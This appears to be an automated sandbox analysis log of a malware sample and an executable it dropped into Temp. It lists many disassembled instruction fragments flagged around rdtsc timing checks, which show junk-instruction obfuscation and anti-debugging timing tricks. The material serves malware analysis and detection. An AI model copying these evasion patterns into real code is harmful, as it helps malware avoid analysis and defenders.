Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510065A second address: 51006B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4010EA3D7Ch 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 jmp 00007F4010EA3D7Eh 0x00000018 jmp 00007F4010EA3D82h 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007F4010EA3D80h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4010EA3D7Eh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51006B7 second address: 51006BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51006BD second address: 51006C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100014 second address: 510001A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510001A second address: 510001E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510001E second address: 5100093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push esi 0x0000000e call 00007F4010E98D53h 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 mov ax, C365h 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c mov ax, bx 0x0000001f push edi 0x00000020 pushfd 0x00000021 jmp 00007F4010E98D58h 0x00000026 adc ch, FFFFFFA8h 0x00000029 jmp 00007F4010E98D4Bh 0x0000002e popfd 0x0000002f pop eax 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F4010E98D52h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100093 second address: 51000A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4010EA3D7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51000A5 second address: 51000EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4010E98D57h 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F4010E98D52h 0x00000019 adc eax, 0104A3C8h 0x0000001f jmp 00007F4010E98D4Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51000EF second address: 5100143 instructions: 0x00000000 rdtsc 0x00000002 call 00007F4010EA3D88h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a movsx edx, si 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F4010EA3D7Dh 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 mov eax, 5BB379B3h 0x0000001b mov dx, cx 0x0000001e popad 0x0000001f mov dword ptr [ebp-04h], 55534552h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4010EA3D81h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100B66 second address: 5100BDC instructions: 0x00000000 rdtsc 0x00000002 mov bx, 1CF0h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4010E98D52h 0x00000011 jmp 00007F4010E98D55h 0x00000016 popfd 0x00000017 mov edi, esi 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F4010E98D58h 0x00000024 xor ch, FFFFFFC8h 0x00000027 jmp 00007F4010E98D4Bh 0x0000002c popfd 0x0000002d mov ecx, 49E90C3Fh 0x00000032 popad 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edi, 6355C6C2h 0x0000003d push ebx 0x0000003e pop esi 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100C8C second address: 5100C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100C92 second address: 5100C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100C96 second address: 5100CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 2BAC9DDAh 0x0000000d pushad 0x0000000e mov eax, 0413E2B5h 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F4010EA3D80h 0x0000001a sbb ecx, 76E3ED08h 0x00000020 jmp 00007F4010EA3D7Bh 0x00000025 popfd 0x00000026 push ecx 0x00000027 pop edx 0x00000028 popad 0x00000029 popad 0x0000002a xor dword ptr [esp], 5EEF01F2h 0x00000031 jmp 00007F4010EA3D82h 0x00000036 call 00007F4081188BFEh 0x0000003b push 753E2B70h 0x00000040 push dword ptr fs:[00000000h] 0x00000047 mov eax, dword ptr [esp+10h] 0x0000004b mov dword ptr [esp+10h], ebp 0x0000004f lea ebp, dword ptr [esp+10h] 0x00000053 sub esp, eax 0x00000055 push ebx 0x00000056 push esi 0x00000057 push edi 0x00000058 mov eax, dword ptr [75444538h] 0x0000005d xor dword ptr [ebp-04h], eax 0x00000060 xor eax, ebp 0x00000062 push eax 0x00000063 mov dword ptr [ebp-18h], esp 0x00000066 push dword ptr [ebp-08h] 0x00000069 mov eax, dword ptr [ebp-04h] 0x0000006c mov dword ptr [ebp-04h], FFFFFFFEh 0x00000073 mov dword ptr [ebp-08h], eax 0x00000076 lea eax, dword ptr [ebp-10h] 0x00000079 mov dword ptr fs:[00000000h], eax 0x0000007f ret 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F4010EA3D7Ah 0x00000089 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100CFD second address: 5100D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100DA6 second address: 5100DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F4010EA3D88h 0x0000000a popad 0x0000000b cmp dword ptr [ebp+08h], 00002000h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4010EA3D87h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100DE4 second address: 5100DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110B73 second address: 5110B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110B79 second address: 5110B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4010E98D52h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110B97 second address: 5110BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F4010EA3D82h 0x00000013 adc al, 00000018h 0x00000016 jmp 00007F4010EA3D7Bh 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110BCC second address: 5110C29 instructions: 0x00000000 rdtsc 0x00000002 call 00007F4010E98D58h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4010E98D4Bh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 call 00007F4010E98D4Fh 0x00000017 movzx esi, dx 0x0000001a pop ebx 0x0000001b push esi 0x0000001c jmp 00007F4010E98D51h 0x00000021 pop eax 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov bx, si 0x0000002a movzx eax, di 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C29 second address: 5110C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C2F second address: 5110C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C33 second address: 5110C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov edi, 63B95B14h 0x00000011 popad 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4010EA3D85h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C60 second address: 5110C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C66 second address: 5110C99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4010EA3D7Ah 0x00000009 add esi, 1E341DF8h 0x0000000f jmp 00007F4010EA3D7Bh 0x00000014 popfd 0x00000015 mov si, 372Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c je 00007F40811714A0h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110C99 second address: 5110CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110CB0 second address: 5110CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110CB6 second address: 5110CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110CBA second address: 5110CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [7544459Ch], 05h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov ax, dx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110CCF second address: 5110D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F4010E98D55h 0x0000000b mov dx, ax 0x0000000e pop eax 0x0000000f popad 0x00000010 je 00007F408117E4EEh 0x00000016 pushad 0x00000017 jmp 00007F4010E98D59h 0x0000001c mov eax, 5EEF86C7h 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 mov cx, 87BFh 0x00000028 mov ebx, ecx 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d call 00007F4010E98D57h 0x00000032 mov dx, cx 0x00000035 pop eax 0x00000036 mov edi, 5B2C41D8h 0x0000003b popad 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F4010E98D4Ah 0x00000044 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110D9C second address: 5110DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110DA0 second address: 5110DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110DA6 second address: 5110DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110DAC second address: 5110DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: F6DD1F second address: F6DD60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4010EA3D87h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007F4010EA3DAEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4010EA3D89h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E8318 second address: 10E831C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E831C second address: 10E8320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E8320 second address: 10E832E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E832E second address: 10E8332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E8332 second address: 10E8341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F4010E98D46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9B8 second address: 10CE9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9BC second address: 10CE9DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D59h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9DE second address: 10CE9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9E8 second address: 10CE9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9F1 second address: 10CE9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9F7 second address: 10CE9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10CE9FB second address: 10CEA0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F4010EA3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E751E second address: 10E753C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F4010E98D50h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E753C second address: 10E7541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E76C0 second address: 10E76C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E76C6 second address: 10E7706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4010EA3D87h 0x0000000c jmp 00007F4010EA3D85h 0x00000011 push edx 0x00000012 jmp 00007F4010EA3D7Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10E7852 second address: 10E7858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB6F8 second address: 10EB73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4010EA3D87h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F4010EA3D7Ch 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4010EA3D81h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB73B second address: 10EB7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F4010E98D4Ch 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c xor dword ptr [ebp+122D30DCh], edx 0x00000012 push 00000003h 0x00000014 push eax 0x00000015 mov edx, 413FE5D1h 0x0000001a pop edi 0x0000001b mov edi, 0F56233Ch 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F4010E98D48h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+122D3016h] 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F4010E98D48h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000014h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e jmp 00007F4010E98D59h 0x00000063 push 5D3D0DCAh 0x00000068 push eax 0x00000069 push edx 0x0000006a js 00007F4010E98D54h 0x00000070 jmp 00007F4010E98D4Eh 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB7DE second address: 10EB7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB922 second address: 10EB967 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4010E98D4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F4010E98D59h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4010E98D53h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB967 second address: 10EB982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F4010EA3D7Ch 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EB982 second address: 10EBA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F4010E98D4Ch 0x0000000b jc 00007F4010E98D46h 0x00000011 popad 0x00000012 pop eax 0x00000013 add dword ptr [ebp+122D2ACFh], ebx 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F4010E98D48h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D30E9h], ecx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F4010E98D48h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 push edi 0x00000058 mov dx, bx 0x0000005b pop ecx 0x0000005c push 00000003h 0x0000005e jmp 00007F4010E98D4Eh 0x00000063 call 00007F4010E98D49h 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b jl 00007F4010E98D46h 0x00000071 pop esi 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA13 second address: 10EBA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA19 second address: 10EBA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA1D second address: 10EBA33 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4010EA3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F4010EA3D76h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA33 second address: 10EBA7C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4010E98D56h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ebx 0x00000015 jmp 00007F4010E98D56h 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F4010E98D48h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA7C second address: 10EBA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4010EA3D76h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	RDTSC instruction interceptor: First address: 10EBA86 second address: 10EBA98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 rdtsc
